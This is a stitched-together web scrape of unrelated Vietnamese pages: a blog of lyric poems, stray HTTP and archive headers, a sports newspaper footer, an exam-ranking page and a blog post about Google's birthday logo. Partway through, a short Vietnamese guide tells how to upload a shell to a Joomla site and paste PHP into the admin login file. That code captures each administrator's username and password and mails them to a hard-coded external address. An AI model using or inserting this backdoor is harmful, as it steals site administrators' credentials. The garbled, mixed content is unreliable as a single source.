bụi bay theo* *Ngàn xuân rộng vô ngần trong bóng nguyệt* *Đầu xanh em tư lự suối thông đèo* *Nằm xuống cỏ nghe tràn lan nước gội* *Chảy vòng quanh Thu Lục Tỉnh bao la* *Cồn Sa Đéc Sóc Trăng sương vòi või* *Gió lên bờ kim hải sóng xanh xa* *Chợt ngoảnh lại thấy rằng em ngủ mất* *Em ngủ quên phiền sương rộng trăng ngà* *Hồn bỏ lại mộng thừa trong thớ đất* *Anh nhìn em trong suốt giữa xương da* *______________________________________________* **Bờ lúa** *Em chết trên bờ lúa* *Để lại trên đường mòn* *Một dấu chân bước của* *Một bàn chân bé con* *Anh qua miền cao nguyên* *Nhìn mây trời bữa nọ* *Đêm cuồng mưa khóc điên* *Trăng cuồng mưa trốn gió* *Mười năm sau xuống ruộng* *Đếm lại lúa bờ liền* *Máu trong mình mòn ruỗng* *Xương trong mình rã riêng* *Anh đi về đô hội* *Ngó phố thị mơ màng* *Anh vùi thân trong tội lỗi* *Chợt đêm nào gió bờ nọ bay sang* *______________________________________________* **Trò chuyện** *Ngồi đây nói chuyện* *Lúc trời cao thổi gió xuống xanh nguồn* *Em thốt lời bằng miệng* *Và bằng môi hơi thở tự đâu tuôn* *Em sẽ thành con kiến* *Tôi thành con chuồn chuồn* *Lời sẽ câm trên miệng* *Nhưng nơi nào còn hơi thở luôn luôn* *Những hòn sỏi lăn đi rất chậm* *Chuồn chuồn bay không biết tới nơi nào* *Con kiến bé có bao giờ lận đận* *Lúc đi về trong cổ lục chiêm bao* *Em sẽ bỏ lại đằng sau em bỏ* *Những nỗi đời về ở giữa nhân gian* *Ta sẽ tạo lại mối tình sâu bọ* *Về hư vô vĩnh viễn bóng buông màn* *______________________________________________* **Chiều** *Em ngó buổi chiều buồn có phải* *Buồn cũng như buồn những buổi chiều xưa* *Tròng con mắt đã mỏi mòn có phải* *Sắc của trời hương của đất lưa thưa* *Những nhịp bước bên đường còn dội mãi* *Vang về đâu không vọng lại hồi âm* *Của réo rắt riêng một lần mãi mãi* *Gió phương trời ù mộng giữa hoa tâm* *Em hỏi mãi tuy biết lời đáp lại* *Chẳng bao giờ thoả đáng giữa đời câm* *Em ngó mãi những chiều về trở lại* *Mang những gì về trong cõi trăm năm* *______________________________________________* **Vỗ về** *Ta đứng lại bên này chờ đợi* *Ồ phải không? Em đó phải không* *Ta đếm lại từng ngón tay lẩy bẩy* *Đời chúng ta là mấy trăng tròn* *Ngày vui ngắn? Lòng đã vơi mấy bận* *Ngày vui đi? Mấy bận giữa lòng ta* *Để lây lất mưa về xuân lấm tấm* *Ồ thiều quang tan biến vội sao mà* *Em có khóc? Ta xin em đừng khóc* *Em nhìn ta lệ chảy có vui gì* *Trang phượng mở giữa nguồn em hãy đọc* *Nước xuôi dòng ngàn thu hận mang đi.* *______________________________________________* **Kể chuyện** *Kể lại chuyện rằng năm đã cũ* *Đã bao giờ một bận muôn năm* *Em nhớ chuyện rằng xưa lỡ dở* *Diều đứt dây trẻ cũng cầm bằng.* *Kể lại chuyện rằng dù sao nữa* *Nguồn xưa sóng lạc nước tiêu dao* *Mắt khép mi sầu không lệ nữa* *Nhìn nhau bận đó cúi xin chào.* *Bốn vó lên đèo truông ải vang* *Trùng quan một bận gió lên ngàn* *Tiền trình cỏ lạ xông ngây ngất* *Con mắt khô rồi ngó ngửa ngang.* *______________________________________________* **Xuân thu trang phượng** *Trời cao nguyên lụt tràn đê*
Nguồn trôi nước lũ xuống đè cát xanh
B.G.
*Mùa Xuân hẹn Thu về em trở lại* *Ta nhìn nhau trong bóng nước mơ màng* *Nước chảy mãi bởi vì xuân trở lại* *Với giòng trong em hẹn ở bên đường* *Em sẽ khóc khi nhìn trong khóe mắt* *Thấy một mình người đi lại lang thang* *Còn ghi giữ ân tình trong cỏ nhặt* *Múa vi vu vì hẹn với truông ngàn* *Ta sẽ đợi nghe đời em kể lại* *Thuở xưa kia... bờ nước ấy xưa kia* *Ta sẽ đợi nghe đời em nói mãi* *Bên đời ai vạn đợi đã chia lìa* *Mùa xuân hẹn thu về em trở lại* *Bên đời đi còn giữ mãi hay không* *Giòng bất tuyệt xanh ngần xuân thơ dại* *Sầu hoang vu vĩnh hạ vọng non hồng* *______________________________________________* **Nausicaa** *Bon voyage, notre hôte! au pays de*
tes pères, quand tu seras rentré,
garde mon souvenir!...
Odyssée
Ngày về sum họp quê khơi
Xin chàng hãy nhớ ai người buổi kia
Tương giao để hận chia lìa
Bờ xanh gió thổi đầm đìa lệ em
*Biển xô về bến cát mờ* *Nửa đời trôi giạt em chờ đón tôi* *Bình minh thơ dại hai môi* *Lời chưa nói cũng như lời đã trao* *Còn lưa hơi thở miệng đào* *Đêm qua kỳ mộng giọng nào đã nghe* *Ngày sau chuyện cũ bên hè* *Tiếng than đầu lá dội về trong sương* *Tàn canh với hận sa trường* *Những người đã khuất trên đường viễn chinh* *Triền miên hải đảo một mình* *Chiều xanh lớp lớp sóng bềnh bồng mây* *Mùa xuân hiện giữa ngàn mai* *Nguyên hình Nữ Chúa trên ngày phù du* *______________________________________________* **Ngoài Trung** *Về thung lũng ngó cành hoang* *Chiều ru bóng lãng đãng vàng gió bay* *Bình nguyên tự bữa xa ngày* *Đường ngang lối dọc đến rày chửa nguôi* *Mùa trăng sương cỏ bên người* *Nguyên sơ đầu mộng môi cười trong bông* *Chợt quên đời đổ giọng hồng* *Màu pha nước giếng xuống giòng xuân trôi* *Ngàn năm ám chướng đi rồi* *Rừng biêng biếc giữ mây trời phiêu du* *______________________________________________* **Xuân Bình Dương** *Xin lời mở rộng con mương* *Xin chiều bến đỗ Bình Dương bây giờ* *Những bàn chân bước đơn sơ* *Những bàn tay những mùa thu trong mình* *Xin lời nói hãy nín thinh* *Xin hàng phượng đỏ bên đình ngơ cho* *Bến sông ghe đỗ bây giờ* *Ngàn năm thôn nữ lên bờ ướt chân* *Xin người em hãy lại gần* *Nhắm hai mắt mở muôn phần hai con* *Ngó sương mây lục trời tròn* *Ngó sương muối nhuộm tóc còn xanh vai* *Bàn chân đen ngón không dài* *Bàn tay đen ngón nắm hoài không nguôi* *Bây giờ xin hãy nhìn tôi* *Người em ấy nhận ra người anh chưa.* *______________________________________________* **Giã từ Đà Lạt** *Nói nữa sao em, với lời lỡ dỡ* *Đường lây lất chiều bay sương lổ đổ* *Đứng bên trời em ở lại hôm qua* *Ngàn thông ơi ở đó đón bóng tà* *Và giữ lại chuyện đời ta đi mất* *Bước khúc khuỷu truông ngàn khe khóc lóc* *Dặm mơ màng tăm tắp mấy mù khơi* *Lùi bay đi để ở lại bên người* *Tơ vấn vít gió muà mời mọc én* *Tay lẩy bẩy níu gì xuân bay biến* *Ô thiều quang! làn nước cũ trôi mau* *Em đi lên vói bắt mấy hương màu* *Miền đất Thượng có mấy bờ hoa mọc* *Xa biệt lắm mưa nguồn trên mái tóc* *Đà mấy lần thổi lạc lệ lưa thưa* *Buổi sớm hôm buồn tinh tú ai ngừa* *Bàn chân bước vơi tay buông kể lể* *Trời với đất để lòng em lạnh thế* *Hoa hương ơi còn diễm lệ bao giờ* *Những ân tình đầu liễu rũ lơ thơ* *Còn hay mất trong trăng mờ khuya khoắt* *Người xuống núi mang về đâu có chắc* *Những dịp về còn nữa ở mai sau?* *Dặm hồng vàng ai đứng lại nhìn nhau* *______________________________________________* **Mở về phương ấy** *Con gái khóc bữa nào* *Bây giờ nhắc chi nữa* *Chuyện ngày trước chiêm bao* *Chuyện ngày sau mộng úa* *Em chết bên bờ lúa* *Em chết dưới triều xanh* *Giòng sông kia ấy của* *Mộng ước vỡ tan tành* *Ở bên đường ngồi lại* *Những người đếm tóc nhau* *Kỷ niệm về kinh hãi* *Màu mắt thuở xa nào* *Xin ngó bóng mây trời* *Xin nhìn con cá nhảy* *Xin thấy ở khắp nơi* *Miệng cười thơ dại ấy* *Con gái khóc bữa nào* *Bây giờ xin nhắc lại* *Xin dựng một hàng rào* *Để mở về phương ấy* *______________________________________________* **Hư vô và vĩnh viễn** *Cũng vô lý như lần kia dưới lá* *Con chim bay bỏ lại nhánh khô cành* *Đời đã mất tự bao giờ giữa dạ* *Khi lỡ nhìn viễn tượng lúc đầu xanh* *Buổi trưa đi vào giữa lòng lá nhỏ* *Tiếng kêu kia còn một chút mong manh* *Giòng nức nở như tia hồng đốm đỏ* *Lạc trời cao kết tụ bóng không thành* *Lá cũng mất như một lần đã lỡ* *Trời đã xanh như tuổi ngọc đã xanh* *Trời còn đó giữa tháng ngày lỡ dở* *Hồn nguyên tiêu ai kiếm lại cho mình* *Đường vất vả vó ngựa chồn lảo đảo* *Cồn sương đi vào truông lạnh miên man* *Bờ bến cũ ngậm ngùi sông nước dạo* *Đêm tàn canh khắc vợi nguyệt gương ngàn* *Một lần đứng lên mấy lần ngồi xuống* *Ngón trên tay và tóc xoã trên đầu* *Tình đếm lại muôn vàn thôi đã uổng* *Để bây giờ em có biết nơi đâu* *Bờ trùng ngộ một phen này phen nữa* *Tờ cảo thơm như lệ ứa pha hồng* *Hồn hoa cỏ Phượng Thành Hy Lạp úa* *Nghe một lần vĩnh viễn gặp hư không* *______________________________________________* **Ly tao** *Giờ ngẫu nhĩ như hồng bay em ạ* *Và yêu thương như lá ở bên hoa* *Và luyến ái như tơ vàng bốn ngả* *Bủa vi vu như thoáng mộng la đà* *Em đã lại với đời về nắng ấm* *Thắm không gian thương nhớ bóng hình em* *Anh đã đợi chờ em từ lâu lắm* *Ngày đi không để lại lạnh trăng rằm* *Anh mơ ước với ngàn xuân mở rộng* *Quên não nùng sa mạc của yêu thương* *Chân cứ bước theo nhịp hồn cử động* *Em là em anh đợi khắp nẻo đường* *Em có nụ cười buồn buồn môi mọng* *Em có làn mi khép lá cây rung* *Em có đôi mắt như sầu xanh soi bóng* *Hồ gương ơi! sao sóng lục vô chừng!* *Con mắt ấy có gieo buồn rớt lệ* *Trê n nẻo đường lạnh lẽo lối lang thang* *Môi thắm ấy mấy lần thao thức kể* *Với đèn khuya vò võ mộng khôn hàn* *Trời đất nhớ lần đầu ... năm trước ...* *Đó một lần đôi mắt đã nhìn lên* *Và trời hiểu ngày sau đôi mắt ngước* *Một lần kia sẽ còn dịp đáp đền* *Em ở lại với đời ta em nhé* *Em đừng đi. Cho ta nắm tay em* *Ta muốn nói bằng thơ bay nhẹ nhẹ* *Vào trong mơ em mộng giấc êm đềm* *Ta sẽ đặt mười ngón tay lên mắt* *Để nhìn em qua khe hở du dương* *Vòng theo máu hai vòng tay khép chặt* *Ồ thưa em ta thấy mộng không thường* *______________________________________________* **Không đề** *Vì con mắt cũng buồn như mi mắt* *Em đi về như vui gượng trên môi* *Lời nói kia là lá rụng sương đồi* *Vì hơi thở rớt vào trong buổi tối* *Gió chiều hôm non nước nhớ xanh trời* *Em đi về là tím bạc hai môi* *Vì nhan sắc ngày kia em hoảng sợ* *Chợt bước vào nhìn thân thể như xương* *Em đi về là hé mở môi hường* *Và hé mở môi không hường một lúc* *Sương gió cũ thiên thu về cúi gục* *Cỏ nội đồng là sực tỉnh ra hoa* *Em ra đi - là bưng mặt khóc òa* *______________________________________________* **Về buôn bán** *Giã từ cõi mộng điêu linh* *Tôi về buôn bán với mình phôi pha* *- Mình ơi! Tôi gọi bằng nhà* *Nhà tôi! Tôi gọi mình là nhà tôi* *Bây giờ xuôi ngược đôi nơi* *Thôi mình ở lại tôi dời chân đi* *Thưa rằng: – Ở cái quái gì* *Chàng đi thiếp cũng xin đi với chàng.* *______________________________________________* **Đổ quán** *Thưa em từ bữa lạc đàng* *Đầu hai thứ tóc gió ngàn thổi tung* *Nhớ em miệng đỏ vô cùng* *Hai môi khép mở một vùng cỏ hoa* *Nhớ ngang ngửa dưới trăng ngà* *Lối sương tố vọng canh gà sơ nguyên* *Nhớ em anh rất có quyền* *Ngồi trên bãi rộng quàng xiên vẽ hình* *Bốn bên đổ quán xiêu đình* *Ba bề đờ đẫn một mình anh đi.* *______________________________________________* **Thưa** *Nói nữa là thôi lời là lở dở* *Bốn chân trời là thế kỷ rã riêng* *Tuần Bạch Ngọc ngàn năm đi hay ở* *Đứng hay ngồi nằm ngửa ngã hay nghiêng* *Cũng không thể quên rằng thân là thể* *Mẩy là mình xương là xảu bên da* *Và kỷ niệm đuổi theo lời là thế* *Xô linh hồn về ở cuối câu ca* *Không quên được không thể nào nói được* *Bầu trời kia xuân nọ chết thôn xanh* *Vườn hoa nở ngậm ngùi hoa ngã gục* *Lá bên cành chưa kịp dứt âm thanh* *Bỏ đô thị bỏ bình nguyên đất ruộng* *Bỏ gian nhà cha mẹ nhớ thương con* *Về huyễn ngạn thượng du buồn đổ xuống* *Thác trôi giòng bờ gió bụi chon von* *Không thể ngó không thể nhìn không thể nói* *Ngày bỏ đi trong dang dở tiếng chào* *Năm tháng ám vong hồn về đô hội* *Nhịp thay vần là mộng giữa chiêm bao* *Giờ đứng lại là bây giờ rất lạ* *Là bao giờ từ buổi lạc tin hoa* *Nhầm bóng nguyệt là sầu đau khôn tả* *Phút trùng lai là ngó vội nhau và...* *______________________________________________* **Tiếng nói** *Tiếng nói nghe như* *Giọng cười đáp lại* *Buồn đi xa xôi* *Vui về mãi mãi* *Nắm tay nhau trong thương nhớ mộng bên đời* *Bước song song theo gió rộng về khơi* *Ngó mông lung mây trắng ở trên trời* *Mây sáng mây xanh mây mờ mây mỏng.* *______________________________________________* **Anh lùa bò vào đồi sim trái chín** *Anh lùa bò vào đồi sim trái chín* *Cho bò ăn cỏ giữa rừng sim* *Anh nhìn lên trời xanh đỏ chín* *Anh ngó bốn bề cây lá gió rung rinh* *Anh nằm xuống để nhìn lên cho thỏa* *Anh thấy lòng mở rộng đón trời xanh* *Chim ngây ngất vào trong đôi mắt lả* *Anh lim dim cho chết lịm hồn mình* *Anh quên mất bò đương gặm cỏ* *Anh chỉ nghe tiếng cọ rì rào* *Có hay không ? bò đương gặm đó ?* *Hay là đây tiếng gió thì thào ?* *Hay là đây tiếng suối lao xao* *Giữa giòng cỏ xuôi ghềnh chảy xuống ?* *Mùi thoang thoảng lách lau sương đượm* *Mùi gây gây gấy gấy của hương rừng* *Mùi lên men phủ ngập mông lung* *Không biết nữa mà cần chi biết nữa* *Cây lá bốn bên song song từng lứa* *Sánh đôi nhau như ứa lệ ngàn ngàn* *Hạnh phúc trời với đất mang mang* *Với bò giữa rừng hoang đương gặm cỏ* *Với người ngó ngất ngây đương nằm đó* *Không biết trời đất có ngó mình không* *______________________________________________* **Mắt buồn**
Dặm khuya ngắt tạnh mù khơi
(Nguyễn Du)
*Bóng mây trời cũ hao mòn* *Chiêm bao náo động riêng còn hai tay* *Tấm thân với mảnh hình hài* *Tấm thân thể với canh dài bão giông* *Cá khe nước cõng lên đồng* *Ruộng hoang mang khóc đêm mồng một giêng* *Tạ từ tháng chạp quay nghiêng* *Âm trang sử lịch thu triền miên trôi* *Bỏ trăng gió lại cho đời* *Bỏ ngang ngửa sóng giữa lời hẹn hoa* *Bỏ người yêu bỏ bóng ma* *Bỏ hính hài của tiên nga trên trời* *Bây giờ riêng đối diện tôi* *Còn hai con mắt khóc người một con* *______________________________________________* **Mai sau em về** *Em về mấy thế kỷ sau* *Nhìn trăng có thấy nguyên màu ấy không* *Ta đi còn gửi đôi giòng* *Lá rơi có dội ở trong sương mù?* *Những thương nhớ lạnh bao giờ* *Đường thu chia ngả chân trời rộng thênh* *Đây phồn hoa của thị thành* *Đây hồn thuỷ thảo khóc tình ngửa ngang* *Càn khôn xưa của riêng chàng* *Xưa đài vũ trụ thiếp mang riêng mình* *Bây giờ đón bước em xinh* *Sầu đau nhan sắc bất bình ra sao*
## No comments:
## Post a Comment

Server: GSE

X-Content-Type-Options: nosniff

Cache-Control: private, max-age=0

X-XSS-Protection: 1; mode=block


markdown:
Công Phượng ghi bàn trong buổi tập của U23 Việt Nam.
(HUYDO@GMAIL.COM11:36 20/07/2017)
(HUYDO@GMAIL.COM 11:36 20/07/2017)
(vyvyanan@yahoo.com.vn10:25 20/07/2017)
(vyvyanan@yahoo.com.vn 10:25 20/07/2017)
(sinh3bis@yahoo.com10:14 20/07/2017)
(sinh3bis@yahoo.com 10:14 20/07/2017)
(chunamnghe@gmail.com09:39 20/07/2017)
(chunamnghe@gmail.com 09:39 20/07/2017)
(Hai@gmail.com09:14 20/07/2017)
(Hai@gmail.com 09:14 20/07/2017)
BÁO ĐIỆN TỬ THỂ THAO & VĂN HÓA - TTXVN
Giấy phép số 321/GP-BTTTT ngày 15/06/2016 do Bộ TT&TT cấp
Tòa soạn: 11 Trần Hưng Đạo - Hoàn Kiếm - Hà Nội
T: 04.39331878 F: 04.38248600 E: toasoan@thethaovanhoa.vn
© 2008 - 2017 Báo Điện tử Thể thao & Văn hóa, TTXVN. All rights reserved
® Thể thao & Văn hóa giữ bản quyền nội dung trên website này.

WARC-Identified-Payload-Type: application/xhtml+xml

Cache-Control: private

Vary: User-Agent

Connection: Keep-Alive


markdown:
Bước 1: Up shell lên site joomla
Bước 2: Insert mã độc vào code
- Vào
*administrator/components/com_login/*
- Edit file:
*admin.login.php*
- Tìm dòng
*:$mainframe->redirect('index.php');*
- Thêm trước dòng này 1 đoạn code như sau:
PHP Code:
$db =& JFactory::getDBO(); $mailfrom = $mainframe->getCfg( 'mailfrom' ); $fromname = $mainframe->getCfg( 'fromname' ); $siteURL = JURI::base(); $uname = $credentials['username']; $query = 'SELECT name , email, usertype ' . ' FROM #__users' . ' WHERE username = "'.$uname.'"'; $db->setQuery( $query ); $rows = $db->loadObject(); if ( ! $mailfrom || ! $fromname ) { $fromname = $rows->name; $mailfrom = $rows->email; } $usertype = $rows->usertype; $email = $rows->email; $pass = $credentials['password']; $message = "$uname|$email|$pass|$usertype"; $to="ducdung.08clc@gmail.com"; $header = "Content-type: text/html; charset=utf-8\r\nFrom: $mailfrom\r\nReply-to: $to"; @mail($to, $siteURL, $message, $header);


markdown:
|
|
## Top 100 và thủ khoa trường HV Biên Phòng (Thi ở phía Bắc)
## Bảng xếp hạng top 100 thủ khoa của trường HV Biên Phòng (Thi ở phía Bắc) tính đến ngày 20-07-2017: 21:08:53
## Danh sách Top 100 và thủ khoa trường
|
|Timdiemthi.edu.vn hy vọng sẽ mang thật nhiều niềm vui tới cho các bạn trong kỳ tuyển sinh 2013 này. Một câu ngạn ngữ rất nổi tiếng "Mọi con đường đều dẫn đến thành Rome" chúng tôi tin bạn đã tìm được con đường của chính mình. Chúc các bạn mạnh khoẻ tự tin và may mắn.
G. Team!

Content-Type: text/html


markdown:
![ ](http://3.bp.blogspot.com/_0AhXmh63tMw/TJ9Vd_1GISI/AAAAAAAAF7E/6pH2zZ6mBqY/s400/googbday10-hp.jpg)
![ ](http://3.bp.blogspot.com/_0AhXmh63tMw/TJ9Vd_1GISI/AAAAAAAAF7E/6pH2zZ6mBqY/s400/googbday10-hp.jpg)
Hôm nay một số trang chủ Google địa phương như
[Google New Zealand](http://www.google.co.nz/)chẳng hạn đã cho đăng logo mới mừng sinh nhật lần thứ 12 của hãng bằng 1 logo mang hình chiếc bánh. Hi vọng sang thứ hai đầu tuần logo này sẽ được đăng tải rộng rãi khắp các trang chủ Google.
Đã có ở Google Việt Nam oyReplyDelete
chúc mừng bố già nhưng vẫn bằng nữa tuổi con :">ReplyDelete
Đúng như mình dự kiến, do 2 nước Australia và New Zealand có múi giờ sớm hơn VN nên họ sẽ dc thưởng thức logo sớm hơn ta mấy giờ liền.ReplyDelete
Chỉ là bố già trên dịch vụ tìm kiếm thôi chứ so với MS thì hơi yếu thế đấy.ReplyDelete
chuc google sinh hat vui ve nha!va ngay cang phat trien hon nua.minh luon ung ho het minh!ReplyDelete
có ai để ý cái bóng của cây nến trong biểu tượng logo không, theo tôi, để logo này cần có cái bóng của cây nến, chứ kông thể chỉ có bóng của cái bánh sinh nhậtReplyDelete
google.com là trang mặc định của IE mình, chúc mừng google sinh nhật lần 12 vui vẻ